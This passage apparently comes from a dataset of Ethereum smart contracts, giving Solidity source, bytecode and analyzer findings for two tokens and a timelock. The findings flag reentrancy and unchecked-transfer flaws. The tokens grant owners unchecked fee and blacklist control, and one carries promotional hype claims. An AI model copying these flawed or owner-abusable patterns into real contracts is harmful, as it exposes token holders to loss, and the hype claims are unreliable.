uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b257600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600d81526c151a1954d958dc995d14d958dd609a1b60208201525b60405161023d9190611a26565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a7b565b61069c565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611aa7565b6106b3565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601554610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ae8565b61071c565b34801561037157600080fd5b506101fc610380366004611b15565b610767565b34801561039157600080fd5b506101fc6107af565b3480156103a657600080fd5b506102c56103b5366004611ae8565b6107fa565b3480156103c657600080fd5b506101fc61081c565b3480156103db57600080fd5b506101fc6103ea366004611b30565b610890565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611ae8565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b15565b6108bf565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b5060408051808201909152600381526254535360e81b6020820152610230565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026661050d366004611a7b565b610974565b34801561051e57600080fd5b5061026661052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c5610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220463645acb00b6cbe909c3e44770340be7862dfaee9c2fd2c97078ad2efe62e3864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,275 |
0xa4103e09c453cb756ccbb7ccfe9b3ca2a329eae3
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.8.0;
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: src/Timelock.sol
contract InitialTokenLocker {
using SafeMath for uint256;
IERC20 private _token;
address private _beneficiary;
uint256 private _releasedEpoch;
uint256 private _totalEpoch;
uint256 private _startTime;
uint256 private _interval;
constructor() public {
_token = IERC20(address(0x95DA1E3eECaE3771ACb05C145A131Dca45C67FD4));
_beneficiary = address(0x2864d65866feFD5760929a095b5665f09d04E182);
_startTime = 1599004800;
_interval = 86400;
_totalEpoch = 30;
_releasedEpoch = 1;
}
function token() public view returns (IERC20) {
return _token;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function releasedEpoch() public view returns (uint256) {
return _releasedEpoch;
}
function totalEpoch() public view returns (uint256) {
return _totalEpoch;
}
function startTime() public view returns (uint256) {
return _startTime;
}
function interval() public view returns (uint256) {
return _interval;
}
function currentEpoch() public view returns (uint256) {
return now.sub(_startTime).div(_interval);
}
function canReleaseAmount(uint256 epoch) public view returns (uint256) {
if (epoch <= _releasedEpoch) {
return 0;
}
uint256 remainingAmount = _token.balanceOf(address(this));
if (epoch > _totalEpoch) {
return remainingAmount;
}
uint256 notReleasedEpoch = _totalEpoch.sub(_releasedEpoch);
uint256 needReleasedEpoch = epoch.sub(_releasedEpoch);
return remainingAmount.mul(needReleasedEpoch).div(notReleasedEpoch);
}
function release() external returns (uint256) {
uint256 epoch = currentEpoch();
uint256 releaseAmount = canReleaseAmount(epoch);
if (releaseAmount > 0) {
_token.transfer(_beneficiary, releaseAmount);
_releasedEpoch = epoch;
}
return releaseAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c806386d1a69f1161006657806386d1a69f146100fb578063947a36fb14610103578063aa2e3c8d1461010b578063e553255814610113578063fc0c546a1461011b57610093565b80632adbfdc51461009857806338af3eed146100c757806376671808146100eb57806378e97925146100f3575b600080fd5b6100b5600480360360208110156100ae57600080fd5b5035610123565b60408051918252519081900360200190f35b6100cf610215565b604080516001600160a01b039092168252519081900360200190f35b6100b5610224565b6100b5610246565b6100b561024c565b6100b5610300565b6100b5610306565b6100b561030c565b6100cf610312565b6000600254821161013657506000610210565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561018257600080fd5b505afa158015610196573d6000803e3d6000fd5b505050506040513d60208110156101ac57600080fd5b50516003549091508311156101c2579050610210565b60006101db60025460035461032190919063ffffffff16565b905060006101f46002548661032190919063ffffffff16565b905061020a82610204858461036c565b906103c5565b93505050505b919050565b6001546001600160a01b031690565b60006102416005546102046004544261032190919063ffffffff16565b905090565b60045490565b600080610257610224565b9050600061026482610123565b905080156102fa57600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156102c857600080fd5b505af11580156102dc573d6000803e3d6000fd5b505050506040513d60208110156102f257600080fd5b505060028290555b91505090565b60055490565b60025490565b60035490565b6000546001600160a01b031690565b600061036383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610407565b90505b92915050565b60008261037b57506000610366565b8282028284828161038857fe5b04146103635760405162461bcd60e51b81526004018080602001828103825260218152602001806105046021913960400191505060405180910390fd5b600061036383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061049e565b600081848411156104965760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561045b578181015183820152602001610443565b50505050905090810190601f1680156104885780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836104ed5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561045b578181015183820152602001610443565b5060008385816104f957fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d96ccab43082ddb32325698d17676bc6c769dd579cc81887c8ad80afbc6fab9264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,276 |
0xf1680dc1d3d0d39d42d692a15c3f1372d2879184
|
/**
*Submitted for verification at
*/
/**
*Submitted for verification
*/
/**
$$$$$$\ $$\ $$\ $$\ $$\ $$$$$$$$\ $$\ $$$$$$\
$$ __$$\ $$ | $$ |\__| $$ | $$ _____| $$ | $$ __$$\
$$ / \__|$$$$$$\ $$$$$$\ $$$$$$\ $$ |$$\ $$$$$$$\ $$ | $$\ $$ | $$$$$$\ $$ | $$$$$$$\ $$$$$$\ $$$$$$$\ $$ / $$ |
\$$$$$$\ \_$$ _| \____$$\ $$ __$$\ $$ |$$ |$$ __$$\ $$ | $$ |$$$$$\ \____$$\ $$ |$$ _____|$$ __$$\ $$ __$$\ \$$$$$$$ |
\____$$\ $$ | $$$$$$$ |$$ | \__|$$ |$$ |$$ | $$ |$$$$$$ / $$ __|$$$$$$$ |$$ |$$ / $$ / $$ |$$ | $$ | \____$$ |
$$\ $$ | $$ |$$\ $$ __$$ |$$ | $$ |$$ |$$ | $$ |$$ _$$< $$ | $$ __$$ |$$ |$$ | $$ | $$ |$$ | $$ |$$\ $$ |
\$$$$$$ | \$$$$ |\$$$$$$$ |$$ | $$ |$$ |$$ | $$ |$$ | \$$\ $$ | \$$$$$$$ |$$ |\$$$$$$$\ \$$$$$$ |$$ | $$ |\$$$$$$ |
\______/ \____/ \_______|\__| \__|\__|\__| \__|\__| \__|\__| \_______|\__| \_______| \______/ \__| \__| \______/
*Submitted for verification at
*/
// Telegram: https://t.me/StarlinkFalcon9
// Website: www.StarlinkFalcon9.co
// The new rocket token, starlink F9, designed to go only up
// 20%+ Slippage
// Liquidity will be locked
// Ownership will be renounced
// EverRise fork, special thanks to them!
// Manual buybacks
// Fair Launch, no Dev Tokens. 100% LP.
// Snipers will be nuked.
// SPDX-License-Identifier: Unlicensed
// Welcome Baby
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract StarlinkFalcon9 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
